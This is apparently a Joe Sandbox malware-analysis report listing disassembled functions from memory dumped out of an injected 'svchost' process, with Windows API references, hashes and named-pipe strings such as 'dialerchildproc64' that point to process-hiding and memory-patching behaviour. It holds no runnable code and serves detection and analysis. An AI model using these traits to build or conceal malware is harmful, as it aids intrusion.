Part of subcall function 00000179537A19AC: IsWow64Process.KERNEL32 ref: 00000179537A19E0
Part of subcall function 00000179537A19AC: CloseHandle.KERNEL32 ref: 00000179537A19FB

CreateFileW.KERNEL32 ref: 00000179537A2468
WriteFile.KERNEL32 ref: 00000179537A2490
ReadFile.KERNEL32 ref: 00000179537A24AF
CloseHandle.KERNEL32 ref: 00000179537A24B8

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000179537A2438
\\.\pipe\dialerchildproc32, xrefs: 00000179537A243F

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: 7ee9d80e101d04651c30a2cd6f7255030bf4b4242cf91b5e4f1f18af3282e3a0
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: 25214F36A1CB5493F7119B65F45439A73B1F78ABA8F504216EA9D02BA8DF3CC58DCB00

Function 00000179537A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A10AB
RegEnumValueW.ADVAPI32 ref: 00000179537A110E
GetProcessHeap.KERNEL32 ref: 00000179537A1155
HeapAlloc.KERNEL32 ref: 00000179537A1163
GetProcessHeap.KERNEL32 ref: 00000179537A1187
HeapFree.KERNEL32 ref: 00000179537A1195

Strings

d, xrefs: 00000179537A10CE

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: d3e5ddb8c7ea47e145821f6ccb884b43ef8b81797d3f302e12167a070b06dd6f
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: 56419133618B9097E761CF52E4443DAB7B1F389B88F408126EB8907B54EF38D1A8CB00

Function 00000179537769F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000017953776A18
__scrt_acquire_startup_lock.LIBCMT ref: 0000017953776A6A
_RTC_Initialize.LIBCMT ref: 0000017953776A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000017953776ABE
__scrt_release_startup_lock.LIBCMT ref: 0000017953776AE9

Memory Dump Source

Source File: 0000001C.00000002.2926338703.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_17953770000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 60b4277ef502123304cdda403c19c92aaea76ebe1c7de292c57dba5dee19c896
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 0081D431F1C2A186FA57AB2698413D9A7F0EB8778CF544527DA0D8779ADB38C84E8704

Function 00000179537A75F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000179537A7618
__scrt_acquire_startup_lock.LIBCMT ref: 00000179537A766A
_RTC_Initialize.LIBCMT ref: 00000179537A7698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000179537A76BE
__scrt_release_startup_lock.LIBCMT ref: 00000179537A76E9

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: fe0b3c69a772beff74a310c280af15da20169bff3b51c378fc6cd5bad66cdd7b
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: F181A231F2C2E186F6579BE998513E963F2AB4778CF0840A7990DC7796EA38C94D8710

Function 00000179537A9804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00000179537A9889
GetLastError.KERNEL32 ref: 00000179537A9897
LoadLibraryExW.KERNEL32 ref: 00000179537A98C1
FreeLibrary.KERNEL32 ref: 00000179537A9907
GetProcAddress.KERNEL32 ref: 00000179537A9913

Strings

api-ms-, xrefs: 00000179537A98A9

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: fb00aff284e09e6af16075ed21140bb303b4032a6c08bac2c3ba20d5d6053718
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: B731A531A2AB68A1FE179B06A8107DD63B4FB4BBA8F190526DD6D47384EF38C45D8300

Function 00000179537B1B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000179537B1BCD
GetLastError.KERNEL32 ref: 00000179537B1BD9
CloseHandle.KERNEL32 ref: 00000179537B1BF1
CreateFileW.KERNEL32 ref: 00000179537B1C1C
WriteConsoleW.KERNEL32 ref: 00000179537B1C3B

Strings

CONOUT$, xrefs: 00000179537B1BFD

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: 4dd854cc27738fee971dc4d248d953faf7b5b467519e62f606b3a150afd8830f
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: 3D11BF31B18B6486F7528B42E86439973B4F78AFE8F000226EA5D87794EF3CC9488740

Function 00000179537A5C10 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000179537A5C4B
GetThreadContext.KERNEL32 ref: 00000179537A5DB5

Part of subcall function 00000179537A5A40: GetCurrentThreadId.KERNEL32 ref: 00000179537A5A44

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: de58720446573f38df410790958115264cac2ca19ba3ca045ca26aac2ae5ccaf
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: 14D1997661DB98C2DA719B1AE49439AB7B0F389B98F100216EACD47BA5DF3CC545CB00

Function 00000179537A30B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A30D7
HeapAlloc.KERNEL32 ref: 00000179537A30EA
StrCmpNIW.SHLWAPI ref: 00000179537A316B
GetProcessHeap.KERNEL32 ref: 00000179537A31D1
HeapFree.KERNEL32 ref: 00000179537A31DF

Strings

dialer, xrefs: 00000179537A3164

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: bb244d26d202178e2e698a051b50a56d7156bf69fd7b977937b4bd25da37fbb8
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: B4319331B19F6592FB56DF96E8446E963B0FB46B88F0440269E4C07F54FF38D4A98700

Function 00000179537A1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000179537A1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 00000179537A1A58
PathFindFileNameW.SHLWAPI ref: 00000179537A1A67
lstrlenW.KERNEL32 ref: 00000179537A1A73
StrCpyW.SHLWAPI ref: 00000179537A1A86
CloseHandle.KERNEL32 ref: 00000179537A1A94

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: 6c9f91e3a03382234b65fbc9f7c05ce95aea04b3e0e994b99970f10821bfc3a6
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: A2016D31B08A5596FB11DB52A8A839963B5F789FC8F884036DE8D43754EF3CC9C98700

Function 00000179537A37AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000179537A37C8
GetCurrentProcess.KERNEL32 ref: 00000179537A37D6
VirtualProtectEx.KERNEL32 ref: 00000179537A37F8
GetCurrentProcess.KERNEL32 ref: 00000179537A3819
VirtualProtectEx.KERNEL32 ref: 00000179537A383A
TerminateThread.KERNEL32 ref: 00000179537A3849

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: 328bcb0f3b657e4e7b0b0eb2427655a71625d9a7eea54b0913c3979adf7372be
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: EC116D74A19B6486FB229B61F82979663B4FB4AB89F040426CD4D07B54FF3CC04CC710

Function 00000179537A90F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000179537A9103
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537A9198
RtlUnwindEx.NTDLL ref: 00000179537A91E7

Strings

csm, xrefs: 00000179537A917E
f, xrefs: 00000179537A9116

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 9468f93ce32db143040ae69ef994ffd20732e21772612c9d05215ff005760186
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: A251A132B296288AEB96CB15E444BDD33B5F347B9CF508122DA0E47B88EB35DC59C700

Function 00000179537A90D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000179537A9103
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537A9198
RtlUnwindEx.NTDLL ref: 00000179537A91E7

Strings

csm, xrefs: 00000179537A917E
f, xrefs: 00000179537A9116

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: a9a055084eb90fbab25c282e8fff424a4fc1c979f75e7898b94f3ca87daab5c5
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: C931E032A2966496E712DF21E848B9D37B5F747B8CF048116EE4E03B84EB38C958C704

Function 00000179537A1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000179537A1AD8
StrCmpNIW.SHLWAPI ref: 00000179537A1AF2
lstrlenW.KERNEL32 ref: 00000179537A1B01
StrCpyW.SHLWAPI ref: 00000179537A1B16

Strings

\\?\, xrefs: 00000179537A1AE6

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 8ef73a6d17c5181fc26fe53d14bc71b85ee070806e4b74a87cb371eb949d1953
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: 0CF0447271869592F7619B65F4E43D96771F745B8CF848022CA8D47664EF3CC68CCB00

Function 00000179537A3200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000179537A3222
StrCpyW.SHLWAPI ref: 00000179537A3232
StrCatW.SHLWAPI ref: 00000179537A323E
PathCombineW.SHLWAPI ref: 00000179537A324C

Strings

\\.\pipe\, xrefs: 00000179537A3218

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: c83c9d28c704160dc0fe5e41b9c2bf0097c43b62eeb3fda8efb59c4134b346ee
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: E7F08930B18BA091FA054B93B9541955330E749FD4F088132DD9E07B58DE2CC4898300

Function 00000179537AA138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000179537AA154
GetProcAddress.KERNEL32 ref: 00000179537AA16A
FreeLibrary.KERNEL32 ref: 00000179537AA187

Strings

CorExitProcess, xrefs: 00000179537AA163
mscoree.dll, xrefs: 00000179537AA14B

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: 73b6b03aab83e1f99a9798063c3f49f6cbb5a15b6ebe00f4a351a76d1d355aef
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: 2EF08271B29A54A1FF864FA0E8A43E52370EF49B88F04241B954F46360EF38C4DCCB10

Function 00000179537A51B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000179537A5236

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: 0468c56e32e5ecdb93a49922f01a9dced457731f4c5f6c1fead8d90b8d7d76dc
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: 5902A93662DB9086E761CB59E49439AB7B1F3C5798F104116EACE87BA8DF7CC448CB40

Function 00000179537B0860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000179537B08A2
GetConsoleMode.KERNEL32 ref: 00000179537B0960
GetLastError.KERNEL32 ref: 00000179537B09EA

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: f04de11a177723f6a12d5930976192a82fc46b7b5d768117d5fc1aa130b5f10a
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: FE81CE32E28A7489FB529B6598A03ED2BB1F746B8CF444517DE4E53B92FB34844EC710

Function 00000179537A57F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000179537A5806

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: 5a11ddcfa039438ed463471aaed5abd3b60112fcee3bb98f83115015e23af584
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: B961BA3692DB94C6E7618B19E49435AB7B0F389768F100116FACD87BA8DB7CC548CF40

Function 00000179537812B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000179537812E0
_set_statfp.LIBCMT ref: 00000179537812FB
_set_statfp.LIBCMT ref: 0000017953781317
_set_statfp.LIBCMT ref: 0000017953781353

Memory Dump Source

Source File: 0000001C.00000002.2926338703.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_17953770000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: ad0af8ccf25c9a2e923504ff5f7ec24561113f6063c2958b79c18a5040c978d4
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 1511E932E5CE3001F6671165E4923E993707B6F77CF484737AA7F46FD68A188C494101

Function 00000179537B1EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000179537B1EE0
_set_statfp.LIBCMT ref: 00000179537B1EFB
_set_statfp.LIBCMT ref: 00000179537B1F17
_set_statfp.LIBCMT ref: 00000179537B1F53

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 10caee5077c3ef502bec3471ed2fb945522b50dfd098a07731f745d70388336d
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 2011A332E5EA30C9F69A1168E4763E513716B6737CF044636FA7E067D7EB148C49C100

Function 00000179537A3878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000179537A3886
GetCurrentProcess.KERNEL32 ref: 00000179537A38B4
VirtualProtectEx.KERNEL32 ref: 00000179537A38D6
GetCurrentProcess.KERNEL32 ref: 00000179537A38F4
VirtualProtectEx.KERNEL32 ref: 00000179537A3915

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: 741cd371535e58e4f55e2cdc5e18ad35b61bb847470f44393e0482604e6d7ada
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 1C113C3AB18B5482FB169F91F4146A9A7B5FB4AB88F04002ADE8D07B94FF3DC548C700

Function 00000179537784F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017953778503
_IsNonwritableInCurrentImage.LIBCMT ref: 0000017953778598

Strings

csm, xrefs: 000001795377857E
f, xrefs: 0000017953778516

Memory Dump Source

Source File: 0000001C.00000002.2926338703.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_17953770000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 31aee347fee61d2d614974f151fdafca9f87d8d84b0641efe70a5bb4441efe65
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 8051D132B1A220AADB27DF25E445B9837F5F342BDCF518126DA0E87789DB34E849C705

Function 00000179537784D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017953778503
_IsNonwritableInCurrentImage.LIBCMT ref: 0000017953778598

Strings

csm, xrefs: 000001795377857E
f, xrefs: 0000017953778516

Memory Dump Source

Source File: 0000001C.00000002.2926338703.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_17953770000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: b0723f28f7a0575ea5fdd575e6fa23e0190c7b56bffab0f33ecf9d8e6447e11b
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: E131EE72A09660A6E713DF12E885B9937F8F342BDCF158116EE4E07784CB38E949C709

Function 00000179537A14B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A14D5
HeapFree.KERNEL32 ref: 00000179537A14E4
GetProcessHeap.KERNEL32 ref: 00000179537A14F0
HeapFree.KERNEL32 ref: 00000179537A14FF
GetProcessHeap.KERNEL32 ref: 00000179537A152A

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: 3302e18425058611f86b48afbc7a7a9cc7d1bf90f6bb5665c9e7b62b11099c6e
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: E211B236918FA896F752CFA6A81429A7774F78AF88F04401ADB8E03714EF38C095C700

Function 00000179537A26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000179537A27D4
StrCpyW.SHLWAPI ref: 00000179537A27ED

Strings

\\.\pipe\, xrefs: 00000179537A27DF

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: 6365e74ea41314e2c76e16990aea213b6aecc0aa63ce0f0888ada0406651787d
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: C671F432A2C7A185E76ADF6599543EAA7B0F746B8CF440017DE4D57B88DF35CA88C700

Function 00000179537A24DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000179537A25C3
StrCpyW.SHLWAPI ref: 00000179537A25DA

Strings

\\.\pipe\, xrefs: 00000179537A25CE

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

